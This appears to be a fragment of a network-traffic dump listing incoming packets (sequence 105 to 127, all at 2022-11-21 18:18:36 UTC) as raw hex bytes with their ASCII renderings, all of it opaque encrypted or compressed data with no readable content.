2022-11-21 18:18:36 UTC	105	IN	Data Raw: 5d b4 7c 3e 14 45 4a b0 ef 29 93 44 dd 49 17 90 52 a1 cc 28 4c b5 8a 4c 85 bd 23 5a 14 2f be 2a fb 09 01 93 4b 97 2f 04 d6 64 40 ca dc 81 4a 0a fe 9c 09 bf a7 14 91 60 29 42 ae 7f a8 d1 1f 89 6c 35 00 1c 58 5b 93 12 6c b0 6b 6e 9c ff 26 c3 c6 3f a5 29 60 d4 9c 74 ed c7 e9 7c 90 fa cd 79 00 ce eb 83 2f e7 09 2a ec 6b dc 8e da 2c 7d 0c ae a0 7d 35 b2 5a c7 3b 6f 22 71 21 d2 18 fb cd 10 43 49 c7 ed 3b 37 dd 0b 94 fc b3 96 e3 d4 1b a7 b1 11 fb 19 29 31 88 6c 64 b8 5b 64 89 b8 49 c2 f9 0d ff bc 0f e9 01 6c 0f 6a 9e 2d e4 e8 27 81 b2 25 5d 64 0e f0 62 57 e9 ca ee f4 ce 3e df d5 d3 34 7c 42 eb 57 b8 91 af 11 0e 85 0c f2 a7 38 5f 3f b3 a8 28 42 2f 27 20 39 85 44 c7 c1 6d b9 12 a3 5b 27 c8 7e 7c 2b 91 fe 0e fd dc b5 6b ae c8 ff 15 4c da 4a 70 e6 3b 41 12 6c eb 24 Data Ascii: ]\|>EJ)DIR(LL#Z/K/d@J`)Bl5X[lkn&?)`t\|y/k,}}5Z;o"q!CI;7)1ld[dIlj-'%]dbW>4\|BW8_?(B/' 9Dm['~\|+kLJp;Al$
2022-11-21 18:18:36 UTC	106	IN	Data Raw: cc 37 78 da 2c fa 34 e2 5c 62 dd 50 81 67 4a 52 b9 0c 4c 69 4f 8f 55 08 20 8d 0d cf 2e b0 67 1b 64 c5 55 1b 07 7a a7 13 40 13 ff e9 2f 72 f2 86 67 a1 86 d5 b5 93 c5 36 46 9a f5 dd fb ec 9b fa 85 77 08 2f 38 3c a2 e7 60 c4 a6 39 02 b2 a0 01 12 8c 97 b3 29 ad f2 5f 16 9f 45 1a ff c5 38 89 52 ce a7 17 79 32 d5 35 d5 2e 93 36 80 73 c4 18 ba 36 79 b3 98 27 eb a7 cc 59 52 19 e5 38 87 e8 74 9b 8e b2 7d 88 b0 c7 45 9d 18 d5 16 51 1a 10 0e 6c 94 ea da 4a 1a 2a ff d3 b6 ce 62 60 af cc 4d a3 a9 9f 48 63 c2 2c 46 2f 1b b6 70 d2 40 d6 cc 87 80 c1 ba 71 02 c7 c5 8b 9e ef 9d db 86 3e dc 29 53 53 db b4 0c c0 d6 04 42 d1 4a 72 2b 1a 1f 36 ad ce 29 67 5c da 15 1e bd ac 5e 9f d9 c8 bd 32 c0 4c be 31 10 cb 54 a0 65 8d dc 93 b3 81 aa 34 99 4e af ca d6 cf ce a4 08 bb cd 0d ad Data Ascii: 7x,4\bPgJRLiOU .gdUz@/rg6Fw/8<`9)_E8Ry25.6s6y'YR8t}EQlJ*b`MHc,F/p@q>)SSBJr+6)g\^2L1Te4N
2022-11-21 18:18:36 UTC	107	IN	Data Raw: e4 7c 0a 1f 38 a6 a2 db 5f 03 18 50 41 02 76 27 93 43 a8 cb 8c 12 e7 52 fe 7e 64 38 77 6f 10 92 96 1b 25 57 ba 6e 25 56 33 a0 5b d3 54 5f 3f 10 18 8c 61 8d e1 06 06 8e 45 6b 60 e0 fc 28 d6 47 53 f6 16 e4 0f 1c 26 0b b8 c9 1c 75 91 eb 4f 13 82 d5 89 a3 21 f7 37 2b 19 7b 11 76 4e 5b fd c4 a2 55 85 8c d6 c9 e2 55 45 14 7c 75 cf 29 87 9c bc fc d1 7b 3a 8d 4b 69 69 e8 b6 64 4d a0 b3 63 21 86 a5 6b 36 2c 94 4a 3f ad 16 51 b1 ff a2 33 0d 9a ec a4 d6 4d 63 d9 c5 22 c0 ae 66 3d ec 6f a5 b1 06 3d 48 42 45 b1 ab 69 07 c2 33 d9 c4 88 5f 1b 25 a5 d5 a2 dd 03 77 6c 37 ab 75 65 de 79 34 e1 1d f8 51 d9 4a ab d3 0e 5c 29 74 22 22 de 9b 19 0b 0a b5 f6 d5 05 9d b2 09 83 8f b3 0a ba d0 84 9e 7a 67 01 f4 da 2d 73 22 c1 9e af 89 a5 30 ee a6 44 ca 84 d9 03 89 f1 5f 31 ca 6e ed Data Ascii: \|8_PAv'CR~d8wo%Wn%V3[T_?aEk`(GS&uO!7+{vN[UUE\|u){:KiidMc!k6,J?Q3Mc"f=o=HBEi3_%wl7uey4QJ\)t""zg-s"0D_1n
2022-11-21 18:18:36 UTC	108	IN	Data Raw: 2a 81 c3 2c 30 31 2f 61 5d 71 4c fb 43 6f ac 22 32 a3 09 18 14 e6 23 1a 61 36 77 2a 43 02 0f 27 d8 17 45 a0 51 2b 83 ec 52 14 34 94 65 bb 99 a9 ca 8c af c9 cd 0d b6 b0 32 d1 ac b4 13 5e 56 15 84 c4 76 f4 43 39 93 32 ea 1a 7f ce e8 9a 79 51 8d d1 8b 19 62 f2 1b 4c 33 e3 81 0c 18 16 b9 bf 74 6e 7d 1d 49 a7 cb ab 2e 05 64 87 35 be 88 ec 45 8b 26 d9 eb c1 2d ec 32 8d b3 24 2c aa 53 6e c0 db 98 cb 47 92 e6 f6 da a0 b7 42 70 8b fb c7 3e fe 67 60 26 d4 e8 36 0c 04 03 50 ed af a6 f6 31 48 e6 b6 02 5d af 98 7c aa d7 8c 76 d0 97 17 cc 1b 22 54 ce cc bc 07 fa a5 b5 fa 33 a7 e9 1b dd 0b 5a a9 59 fb 49 3d 36 2b 7f 9a 19 34 1d 0e ea 9a 4e 6f 55 d1 19 1f b0 3b 16 2b bc 04 41 d8 c2 25 a1 7e 74 61 38 0a 53 e7 ec a9 c1 8d eb 40 4d ca ca 40 e6 92 e6 48 73 aa 62 63 73 bb 92 Data Ascii: ,01/a]qLCo"2#a6wC'EQ+R4e2^VvC92yQbL3tn}I.d5E&-2$,SnGBp>g`&6P1H]\|v"T3ZYI=6+4NoU;+A%~ta8S@M@Hsbcs
2022-11-21 18:18:36 UTC	110	IN	Data Raw: 3a 85 68 69 8f 8f 6d 9c 9c ec 8c 5c 3f 04 8b d5 bc 7f 93 8f 50 ac e5 6f 7c 06 32 6e 42 b1 57 00 31 79 12 b8 fb fb 03 09 93 46 a8 33 79 32 f7 e6 02 cd 31 d4 bc 63 19 03 7b a3 de d5 10 fb cf 3c dd a1 a5 29 d5 09 05 76 1f 59 84 95 d0 3c f2 95 14 b6 a6 44 38 16 9a 88 4f 6b 47 ad 93 da c7 7b d6 05 e9 ed 55 78 0b 68 9e 27 e8 e9 fb d1 95 62 fa db 39 e4 a5 ec 3c 73 49 78 0d 0f 3f 5c 1f d3 c4 6e c2 4c 67 e9 f6 31 cd bc 52 98 b1 20 52 27 e4 86 a7 e3 00 78 68 ed c7 5a 54 f2 86 e7 de 04 6c f4 4c 13 23 b3 c9 da 78 3f 69 55 fe 0c 04 6a 14 a5 11 ca 94 ea a3 bf 2b 9e 61 e2 c2 87 82 e5 d5 f7 80 98 5a 5c cc 62 2c 16 00 55 60 9d 09 99 03 fd 59 14 b6 1c a9 12 06 6f a0 1b 22 3d d4 db bd fe 60 62 32 f4 17 6a 42 ad 50 66 81 b1 22 d8 cd 16 4d f3 bf 1b c4 3b 8f 39 d8 e9 11 76 82 Data Ascii: :him\?Po\|2nBW1yF3y21c{<)vY<D8OkG{Uxh'b9<sIx?\nLg1R R'xhZTlL#x?iUj+aZ\b,U`Yo"=`b2jBPf"M;9v
2022-11-21 18:18:36 UTC	111	IN	Data Raw: 38 bc 63 07 8a c5 2e 82 c6 81 2c a3 0a f7 52 55 76 97 11 7a dc 27 7b 48 2d 63 d1 35 73 20 1c 54 9d 1c 5b 1f b7 a6 1b a0 a2 a5 af 36 a7 53 16 69 85 ca f9 41 8f 60 90 8d 2c 94 62 f3 50 22 9c f8 b4 a9 5b 0c c0 43 ee 94 dc 27 8b f0 9e 09 38 03 df 30 8b 86 80 8a b9 20 d7 09 f9 93 50 bb 10 c0 16 04 24 7d 06 03 23 ad d4 d9 45 45 a8 f7 d7 78 99 07 0b 9b b9 71 66 28 ac cd 97 7f 65 13 03 b0 38 0f e0 63 6a 44 31 d1 d8 ac 39 17 7e f5 6c 30 c8 02 e3 a2 39 93 3b 9e d3 ee 01 5c 75 e7 55 56 92 66 da a2 73 64 c9 e9 db 5e 56 46 33 75 ce d1 10 d8 a4 a3 d8 54 ad f5 7b 7d 72 e6 eb 28 c8 bb 7d 77 05 60 3b 9d b4 a9 c0 f0 de 55 93 79 ab 37 bf 5a 85 6f 16 18 7c b6 10 5e 1f 54 84 6b f1 43 bc 22 82 e9 0e c2 df ce 3b 0a d9 49 4a 0e 52 9a 22 16 69 fc a1 ba 0a 2e da 7a 3e 12 7a aa d9 Data Ascii: 8c.,RUvz'{H-c5s T[6SiA`,bP"[C'80 P$}#EExqf(e8cjD19~l09;\uUVfsd^VF3uT{}r(}w`;Uy7Zo\|^TkC";IJR"i.z>z
2022-11-21 18:18:36 UTC	112	IN	Data Raw: 19 aa 37 44 b5 e6 2a fe a3 6f 87 73 9e 0a e0 b3 c4 48 93 78 0e bb 43 13 1b 00 88 c7 89 92 12 40 34 d7 f9 87 f4 95 60 15 54 ab fd 60 bd e0 f1 44 43 f7 ae 47 90 73 98 38 6e 61 0a cd fd 36 51 ed f9 07 61 33 28 70 e9 bc cb 33 d3 92 00 06 a9 18 80 c0 12 5a 49 c7 86 ae bd eb ed 2b 88 1c 21 53 ac 2e 6a 1f 36 74 41 50 32 c5 0a 46 ab 0b c6 7b 8b f5 c8 89 c4 47 fb 06 ab 98 04 21 3a 64 b1 5f 56 03 b2 26 5e 65 f1 18 20 0d 2e c8 92 5f 76 42 32 b8 8d 74 15 7c 9c 3e 14 d8 76 92 30 4f d4 25 a3 99 6e 5b 30 31 ce cd 9d 51 5c c2 6d df cb ef e3 28 0e 53 31 8c c1 76 d7 4e 55 9b 1b 94 04 26 7b 37 c2 45 7f e1 4a 0f 32 47 c0 eb 83 af fa 54 32 6d 26 8d 69 13 1a 74 31 0c e0 f5 b9 75 7f c5 5c 6f ac 88 87 21 45 ec c1 9e c7 68 db f7 d3 2f ac ad c8 d4 d3 0d b8 62 68 11 94 4d 63 1c 6b Data Ascii: 7D*osHxC@4`T`DCGs8na6Qa3(p3ZI+!S.j6tAP2F{G!:d_V&^e ._vB2t\|>v0O%n[01Q\m(S1vNU&{7EJ2GT2m&it1u\o!Eh/bhMck
2022-11-21 18:18:36 UTC	113	IN	Data Raw: 0f 41 e6 be 16 ac 81 4c 10 07 6b 31 cc ea 1e 40 9a 07 e7 23 2c a8 06 f4 b5 17 48 55 02 51 3c 29 9e 5c ce 4f 65 c5 3a fe be ec 13 76 b0 5f 07 d7 1e c7 c9 40 a5 55 4b 7c 36 39 ce a0 67 fd c1 e3 c6 e3 ae 43 71 e7 48 15 70 e7 12 67 bd c7 6c fa 3f 1e d6 42 b3 46 a9 f9 83 18 da 2a 62 ca de ae 43 95 4b c1 83 0c 2d 0b 8f be eb 32 Data Ascii: ALk1@#,HUQ<)\Oe:v_@UK\|69gCqHpgl?BF*bCK-2
2022-11-21 18:18:36 UTC	113	IN	Data Raw: 73 c6 a8 64 d8 12 dc d9 8b 8f 95 97 aa 46 5a 1d 8e 41 58 c6 1b 29 ba 9b a2 0a bc f3 3a cb ab 7a 40 91 4e 29 23 60 94 2f 2c 19 68 5a c9 43 0b 0d e2 5a ce 8a d1 74 96 48 6b 63 93 df c6 7a 0a 52 9a 7d 95 4e 38 60 67 db 8f 01 88 bb 47 f0 d3 91 37 93 85 cf 07 72 08 7c 4c 81 c4 28 e6 b8 76 5c ab 5a de cc 20 99 81 31 04 52 fd 87 4b 96 2e c1 05 80 24 7c 3e 84 02 0d eb e2 1a d7 76 7e ae dc 09 61 66 7b df b9 9d 26 b7 71 78 30 4b b6 1b c6 ab e3 5f 35 76 b9 30 4d 7b 63 89 5f 38 3b d8 7a 69 cc bd fc 78 08 0a f6 72 08 f9 b1 fc 13 77 32 cb 13 99 29 a2 cd 39 af 45 c9 3c 46 68 d2 f9 95 e9 fd 7e 2f bd d7 92 5c 1d c7 54 0c 1e a0 57 2d 0c 8d 79 da e8 9c bb d5 82 93 5c 1a 79 a7 10 cf 00 37 2b b6 56 34 78 71 0c 40 2a 9d 49 30 39 56 fb 63 e1 0b 7c 79 8e 03 1f f1 2a 35 31 f8 3d Data Ascii: sdFZAX):z@N)#`/,hZCZtHkczR}N8`gG7r\|L(v\Z 1RK.$\|>v~af{&qx0K_5v0M{c_8;zixrw2)9E<Fh~/\TW-y\y7+V4xq@I09Vc\|y51=
2022-11-21 18:18:36 UTC	115	IN	Data Raw: 37 95 bb 75 38 cf ff c1 b0 c8 f5 2e e2 b9 47 15 7d 99 cc 95 65 91 cd 7e a9 58 46 0a 16 7e b4 4f 52 23 33 91 e6 1d 76 dd 43 a1 0d 34 96 5b c8 10 67 cc 11 ba 93 f9 69 3e 8e 7e fb 52 92 cc 6b 9f 06 70 3d 05 eb 92 eb b3 5b e6 6d a9 b6 55 bc 7f 2d ee 41 d9 28 19 a6 bc 14 93 5a c8 07 e1 02 4f 78 8e 6e 52 05 63 47 b2 8e c2 63 4a c5 71 ef 4f 3e a8 0f e8 ea 2d a5 b4 c9 37 6f d7 cc 97 68 49 55 1d df 43 91 0b 61 55 79 da d5 c2 41 fd a8 84 db fd 0a 3a 40 1b 3b e8 e9 4a 49 a8 ed d2 f0 f5 f5 b8 df 35 c7 7e 9e 8e 8d 92 be 3e 82 9c 45 08 a0 d8 a1 49 45 11 a7 fb 52 f3 82 e8 ee e1 56 7f 0a f9 10 2f da ea 9e 41 4b 8d f0 e8 97 44 1d 76 8c b4 ee 12 99 37 7e ae f1 69 f4 9a fa 3b b5 f0 ca 7c 5d 16 d6 e7 88 8d 72 79 1f df fa f5 2a cd 5c ac 66 7f 66 53 2e d8 af 72 90 11 50 d7 57 Data Ascii: 7u8.G}e~XF~OR#3vC4[gi>~Rkp=[mU-A(ZOxnRcGcJqO>-7ohIUCaUyA:@;JI5~>EIERV/AKDv7~i;\|]ry*\ffS.rPW
2022-11-21 18:18:36 UTC	116	IN	Data Raw: 0c 03 03 1f 76 f7 0e 00 05 e8 40 a9 94 f7 65 1d 28 7a 8f 22 a7 f7 6a 01 2b cb 1a a5 c0 8b 45 cc b9 eb 3a b9 25 01 13 04 e1 16 63 66 98 95 ec 38 9d c1 eb ce 47 ae a0 e0 7b 70 9f cb 70 e3 09 9d f1 b8 54 89 71 7f ea 50 37 1a 5d e9 9b 3a e8 04 60 00 2f 95 49 ae a3 1d ee dc e5 0a 81 0f 46 7c 6a e6 b1 76 2a a8 d0 7e 4c 25 a6 08 37 8a 94 f7 67 92 4e 12 36 88 0d 38 c1 9b 51 49 46 21 2d e5 0e 72 5d 34 e4 61 5a 7a 11 6b 53 59 83 cd 98 74 e3 00 78 ce d8 73 c7 11 59 11 f2 49 49 26 5e aa ed 94 da b5 7f d9 8b 81 7e 9b 98 d1 dd 6c bf ab 85 a4 84 eb 6a 8b 2a 2b df 04 6b b6 4e 41 85 f2 8d c4 10 42 53 f5 31 17 98 94 78 30 c5 91 38 e4 a9 77 92 ea 04 15 6f 0e 10 a4 e8 34 06 8d 73 5c 96 6e 3a cb 5e a1 ab a2 f8 85 28 4f a7 37 a7 18 36 60 67 7b 06 6f ed dc 65 74 d9 37 c8 6a e3 Data Ascii: v@e(z"j+E:%cf8G{ppTqP7]:`/IF\|jv~L%7gN68QIF!-r]4aZzkSYtxsYII&^~lj+kNABS1x08wo4s\n:^(O76`g{oet7j
2022-11-21 18:18:36 UTC	117	IN	Data Raw: 84 51 73 34 04 b8 82 91 17 2d 85 e3 ca 43 68 41 47 15 f1 16 76 2c 1e 98 b7 ca 78 c2 11 07 c4 fe b2 53 69 dd ab 6b 9d 9a 21 f3 23 60 8d 1b 70 4f 77 8a 4e 37 8d 1d fe 3d ce 75 6f 71 3f d3 a5 05 ae d1 bf cd 80 62 24 59 1e 5e 02 99 40 10 1d aa f8 3c 1b 1e d8 49 e3 90 35 22 5e e2 72 ea 63 b0 ec 36 ff d5 20 ed 2f 63 04 9e 85 2e 82 41 83 b4 de bb 12 ff 6b 92 07 f3 64 e0 24 dc cf 1d 7c 19 0c e9 07 bd ff 08 5e 16 eb 56 39 07 cc 95 c2 f3 b0 38 ff c7 71 8c 28 88 a1 7f e9 21 85 9d 46 3c cc 42 83 2d 44 b6 41 56 ec c7 e1 56 9b 2a 8b de db 56 af 59 52 a7 73 64 31 1a c2 09 28 3b f7 e3 91 1a 7c 0a 7a 41 89 b1 49 65 14 24 d5 ae 8c 96 35 36 fa ee 27 5a 49 dd 59 cc d8 e3 3f 02 b2 8b a9 aa d8 68 90 56 9a e7 ff 00 10 e8 33 2b 45 68 c1 ad 42 a6 43 d6 5e 72 6c 6c d5 ff ee 2c 7a Data Ascii: Qs4-ChAGv,xSik!#`pOwN7=uoq?b$Y^@<I5"^rc6 /c.Akd$\|^V98q(!F<B-DAVV*VYRsd1(;\|zAIe$56'ZIY?hV3+EhBC^rll,z
2022-11-21 18:18:36 UTC	118	IN	Data Raw: e1 04 98 e4 ee e9 74 62 72 a9 8a a4 79 25 0c 59 d8 e8 76 27 68 46 17 34 47 2b 2f 41 6e 95 db f0 a6 2f 67 fd 37 8c 89 fd 02 13 e8 82 11 db 4b 5f 66 c4 cc 8a 3f 6b a3 93 35 5e b0 37 2b 82 7b 88 6a 97 67 50 ea da dd 09 90 25 61 ce af ab e1 f0 5f 1a f9 7c b6 73 8c 50 50 14 a1 ed c7 40 ba 3c db d9 da 60 d6 94 82 fa 9c 10 f6 5b 0e 04 2d c9 f3 6e ca 53 2f fc 6d f2 b5 f3 29 e8 46 fe c9 f5 d0 c7 01 ef 7f 0a 5d 99 9e 5c be 51 f7 b0 a7 46 be a6 9e 65 59 70 09 cc 4b 2d ad d0 43 5c 63 a0 aa f5 2a b6 3e 6b 7d ab 23 4d 4e fb 89 be b2 b6 b5 a0 89 40 04 db 13 73 7e 7d d0 c2 96 f1 2f 3a 86 35 f3 bf 9f 98 12 d0 a9 26 3c 78 d6 44 a2 bb 2e b5 d4 68 72 3f 04 1b 07 f2 2b 26 95 a3 0a 3d 05 4f 5c 26 f1 fe 4c 26 27 5c 0d b2 ac 6c 19 a0 fc 26 fc 2d 2b f7 73 79 81 7c 83 62 dc 01 ce Data Ascii: tbry%Yv'hF4G+/An/g7K_f?k5^7+{jgP%a_\|sPP@<`[-nS/m)F]\QFeYpK-C\c*>k}#MN@s~}/:5&<xD.hr?+&=O\&L&'\l&-+sy\|b
2022-11-21 18:18:36 UTC	120	IN	Data Raw: 35 21 83 02 39 40 88 66 de 09 5b 15 05 5d 20 3a 4a 5e a7 f8 dc c6 37 76 33 6c 36 c2 eb 3d 71 7d 41 b8 cd 2f b6 b1 e0 ec fa 4c f2 3d b2 0d f6 ce 57 a2 8f 3e ab 9e 98 f7 60 3b 31 3e 40 7f 8d 71 ed 07 6a 66 7c 59 42 d0 69 d4 d4 3d c7 17 e4 9c 6e 8d a9 03 53 37 c7 ba 69 c8 75 a6 7f 33 c0 d0 46 c6 3d da b6 bd df 15 32 d5 6e 54 26 20 28 85 da 17 b9 54 2a 78 57 2a 90 7f a3 53 b5 75 d5 b3 3d d1 0b 8b a0 8c f7 a4 7c 0a c7 64 7c ee 52 a9 5a 4f e3 52 16 a6 23 10 0c fb 56 aa 0b b1 73 f8 18 93 ff b4 68 96 de b9 17 fd 56 0e 4f a0 78 a9 7a f1 a4 8d a3 da cb 64 99 6a 24 ca 20 f7 82 81 1e 92 a0 4e 8f bf b7 30 e2 fb 1d 1b 5d e5 d9 a2 0d 21 79 c7 42 4c 1c 84 d2 89 62 f1 ce 32 7f 22 95 56 ef 83 35 5d c0 b1 14 dd e1 d1 59 b3 6f cc ac 4e 72 e9 43 c5 10 ec 54 c8 9a 33 58 28 0a Data Ascii: 5!9@f[] :J^7v3l6=q}A/L=W>`;1>@qjf\|YBi=nS7iu3F=2nT& (TxWSu=\|d\|RZOR#VshVOxzdj$ N0]!yBLb2"V5]YoNrCT3X(
2022-11-21 18:18:36 UTC	121	IN	Data Raw: 51 b9 ef a5 d1 ac 19 4b f5 56 62 1d ce 82 e1 52 0e 93 bd 18 0f 1e eb ad a0 93 38 08 82 6b 1c 74 77 99 f0 59 b3 53 8b e0 53 9b 6e 26 6b e9 40 cd 58 95 f4 cc 76 65 08 7a 7d 94 ec 4e 48 5f 55 de 61 80 70 31 8b 65 83 32 44 cd 50 b1 4e 5e 74 90 0e 45 54 b3 63 9e 88 bc f5 b4 c4 49 61 5b fc 01 88 a9 44 f0 4a ca 4e bd d8 89 ba 85 13 35 28 84 11 41 c1 5a 8c c0 14 91 43 fa 91 2e e1 72 cf 97 63 aa d9 27 d6 7b d9 da cf b4 55 54 a4 05 50 ac 54 2d 97 6f c8 6c 9b b7 fa 21 4d b6 52 0b 4e 11 ca 84 17 67 1c 72 43 91 85 b3 94 6e f9 3b 23 c5 1f 93 02 24 76 fc ad 3f 8b 90 0e cd 9b 78 5f 84 60 2b df 73 63 8d 40 a1 dc 94 55 99 07 c2 d1 75 a5 2c 6f 94 70 91 6a e6 4e 53 e0 46 b5 9e 5b c5 e3 04 54 31 ca 30 fd 5b 6c 4d 8e 95 31 7e 6d 0f 59 76 5c 2f 35 8c ec 41 56 e4 82 d4 93 1f 98 Data Ascii: QKVbR8ktwYSSn&k@Xvez}NH_Uap1e2DPN^tETcIa[DJN5(AZC.rc'{UTPT-ol!MRNgrCn;#$v?x_`+sc@Uu,opjNSF[T10[lM1~mYv\/5AV
2022-11-21 18:18:36 UTC	122	IN	Data Raw: 14 39 ba 52 07 82 01 27 5c cc 6d 68 d8 88 0b c6 57 58 ae db 7a c6 84 c1 6e de c7 f4 14 83 6d 4f 52 4e 19 20 df fd dc dd eb 06 a0 d2 fd 03 0d 4e 7c a6 6b b7 67 6c e1 01 3a 97 bb 32 b4 96 48 2f ce 1c 0a 21 65 ea 2f bf 29 6a 03 58 b3 56 fd 1e ea e4 ef 3a 92 f6 fa 05 f6 bd 86 02 05 23 ec 68 f0 d0 2a 72 1c d5 99 ae d0 3f e6 28 d0 0f dd d8 d7 29 bd f4 1b 8f ca af a2 65 64 c3 03 7f 6f 62 dd 50 e0 02 7c 4d f5 f0 a7 9c 3a c4 89 02 e8 99 71 ef ee 4f 96 79 6d d7 ae a8 52 67 45 89 8f 48 06 84 5e 6b 88 0e 96 01 52 bb b2 88 42 b1 54 1d 5d 14 15 c2 02 96 22 16 90 13 f6 fc 18 09 66 75 72 b7 11 4b a5 4a 69 0c 95 2e b9 93 e2 e0 74 35 ed e5 50 ea 1e 32 f0 3b 37 5b 3c 0b d5 c0 80 a1 03 d9 da af e9 c0 cc 7d 2e 61 5b 38 e0 95 ac 52 b2 0f 2d 96 f5 93 c2 aa 70 d8 3c c7 29 c2 46 Data Ascii: 9R'\mhWXznmORN N\|kgl:2H/!e/)jXV:#h*r?()edobP\|M:qOymRgEH^kRBT]"furKJi.t5P2;7[<}.a[8R-p<)F
2022-11-21 18:18:36 UTC	123	IN	Data Raw: 26 d6 ec 15 21 27 76 94 00 7a e0 49 79 a1 ab cf a7 84 47 97 1c 91 4c 71 66 50 09 94 ae a5 29 fe 6e 40 f4 08 09 f5 00 26 e1 1d 2d 0f aa b6 87 63 a5 14 08 7f 8b f2 a5 61 9f 80 2f 47 9a 46 37 a0 a6 7d b0 f2 01 4e e2 4b a4 e4 1c 0a 12 a5 0e 7a b4 6a 46 b1 0e bc c8 34 2f 08 3a 7b 77 e3 5d 3e 4f be 57 31 53 05 04 40 5c 05 02 4e 15 1a 1c 9a 37 e8 a7 1c 30 06 e1 a3 a6 63 93 b5 e0 99 c2 30 69 37 bb 33 ec 38 74 65 06 7d c5 13 40 1a d2 f7 77 1b e9 15 36 ff 4a 8a c3 4a 66 fc 0d 91 bb 20 6a 8b 41 ed 91 82 dc 6b 1d 3b d9 60 f2 2b 3e 52 98 53 aa 86 20 03 39 dc 9d 13 8f 92 a0 a9 c1 8f 58 12 7a bf 69 bd 27 f9 ae ee f4 2f 47 ce e6 08 4b 44 2c 04 a2 53 41 1f fe 03 1d 6a cd 52 32 17 f3 a7 87 98 c8 ce 17 67 2e d0 ab 3b 99 fe 1e e0 40 bb 95 ba 4b d1 cd b3 e6 4a 9d 7f 30 95 1c Data Ascii: &!'vzIyGLqfP)n@&-ca/GF7}NKzjF4/:{w]>OW1S@\N70c0i738te}@w6JJf jAk;`+>RS 9Xzi'/GKD,SAjR2g.;@KJ0
2022-11-21 18:18:36 UTC	124	IN	Data Raw: 86 3d 27 a6 51 98 70 19 b3 72 7d 15 f6 4e 43 e4 e7 4a 32 8e 45 d3 6f 37 fa fb 7b ca 77 58 8c 04 b3 64 47 6b 4f f7 d9 ad b3 68 f5 c1 16 b7 05 c8 9c 4e 0d cc 2e e4 31 8f ea d2 8f 1d 09 54 f5 98 c3 10 75 6c e4 e3 85 f5 af 30 57 83 61 a9 69 65 cd c5 6d 5e 15 d0 b8 95 96 3e 2e db 75 05 8e ec 36 dc 78 48 73 35 d3 d5 b7 0c 93 64 0d e5 a1 cc bf 8e 8e 9c 4d 1d 6a f4 99 56 d6 59 5f 1e ad c0 80 04 3f db fa c6 b3 5e 77 75 53 a5 76 13 d6 02 37 24 d0 e7 39 d8 d9 0c 95 f9 b5 64 04 b6 17 3f 68 c1 8e 7b d7 3e 7a 8f 04 66 bc 71 e7 1f 54 8f 80 f2 e4 e2 0f 31 8f 8a 4c f9 5d 5f dd e9 a9 19 b5 d9 f1 6b c6 81 a4 c7 9d 61 78 a3 69 c2 87 8f 42 c7 4c 63 c7 70 db ba b4 30 4e 08 9a 1b 3b 9b 29 9f 6a c1 1f 02 f0 23 53 d1 3f 58 90 b1 b7 f6 6a 36 64 fb 75 29 da bd 89 9a f7 5b a5 9c 16 Data Ascii: ='Qpr}NCJ2Eo7{wXdGkOhN.1Tul0Waiem^>.u6xHs5dMjVY_?^wuSv7$9d?h{>zfqT1L]_kaxiBLcp0N;)j#S?Xj6du)[
2022-11-21 18:18:36 UTC	126	IN	Data Raw: 73 7a 6a 41 3f 37 0c 73 e0 2e 0e db 4c 99 22 12 c0 45 88 eb 98 50 cc 6f 55 d2 d3 56 46 95 ae 9c c6 89 27 c2 89 b1 d8 7c 73 a0 3f 3d d8 2f e5 01 49 92 cf 5f 22 5c 90 1d ec 2d 80 52 48 93 5d ae 25 fc 76 9a 25 15 76 68 e5 c3 52 59 25 95 04 30 49 76 4c 55 9a a9 c2 15 2d 27 82 09 03 16 74 ba 75 5b 59 15 61 ce 3f 46 02 30 5e f1 56 0f 6a 24 ea ff 90 11 e4 d5 0d b8 d5 43 16 db 5d 24 2d 97 dc c2 20 b7 a4 4c 46 bf 92 4b 08 26 10 cd 3d 94 97 d4 ba 60 89 05 99 7b 2b 21 54 40 8a f1 c6 08 26 a2 99 a2 a2 48 26 51 07 fd 64 0a 7b 84 04 f9 21 ed 97 6f 40 01 85 d5 92 d8 67 01 1e 59 65 84 78 3f 13 72 03 08 42 05 3d 42 84 33 d6 da 94 e1 a2 95 ec 83 7d b8 75 59 f0 51 b3 c5 3b 47 b3 ad 45 09 9f f4 10 00 be d8 fc 58 08 5f 99 e7 41 19 4d 85 31 a5 1a c6 3c c6 4a 98 ef 43 73 8f a2 Data Ascii: szjA?7s.L"EPoUVF'\|s?=/I_"\-RH]%v%vhRY%0IvLU-'tu[Ya?F0^Vj$C]$- LFK&=`{+!T@&H&Qd{!o@gYex?rB=B3}uYQ;GEX_AM1<JCs
2022-11-21 18:18:36 UTC	127	IN	Data Raw: ef b1 a2 8e 94 86 f4 97 6b f1 19 13 bf cb f1 8b 08 93 ab b2 4d 1a ec 9b 73 d7 71 58 0a 4c cf 12 21 b1 a2 34 8c 2a 0c fa 20 cb 10 02 94 9a a0 1e 56 38 96 83 13 3d 44 e6 df e5 66 79 2c c4 2c 5a d9 e6 18 3e 8c 65 b6 45 ef 57 d0 89 8c a5 54 9f 91 4a 6a 78 36 3e fc aa 69 a5 1e 3d 9d 49 02 c7 89 ce 1e f7 02 92 1d b3 6a 51 ea 31 5a a7 c0 15 c6 fb 22 49 90 f5 84 40 89 b2 f4 56 ac 0e 10 1e ad 9a 25 85 f2 1a e0 df 18 29 ff ea 81 26 62 55 dc 23 5f b7 4a 85 d6 33 b3 eb 71 38 67 b7 52 96 83 e2 c3 86 6f cb d0 a1 e2 e2 cd 56 b1 b1 bf ae 04 d6 91 cc f1 20 07 e5 52 e9 1a db 1f 86 71 f3 4a 1f ef f6 4c 75 31 0c 8e 2e fb 21 a4 72 8e de 26 e5 ea 53 53 5a 3e 79 ee bb d6 2a f5 8d 16 59 6d 1f 3b aa f2 f7 d6 f2 85 3e e5 bf 75 67 a2 b1 de ce de 22 09 09 c4 e1 4d 04 e3 1c 72 d2 4d Data Ascii: kMsqXL!4* V8=Dfy,,Z>eEWTJjx6>i=IjQ1Z"I@V%)&bU#_J3q8gRoV RqJLu1.!r&SSZ>y*Ym;>ug"MrM
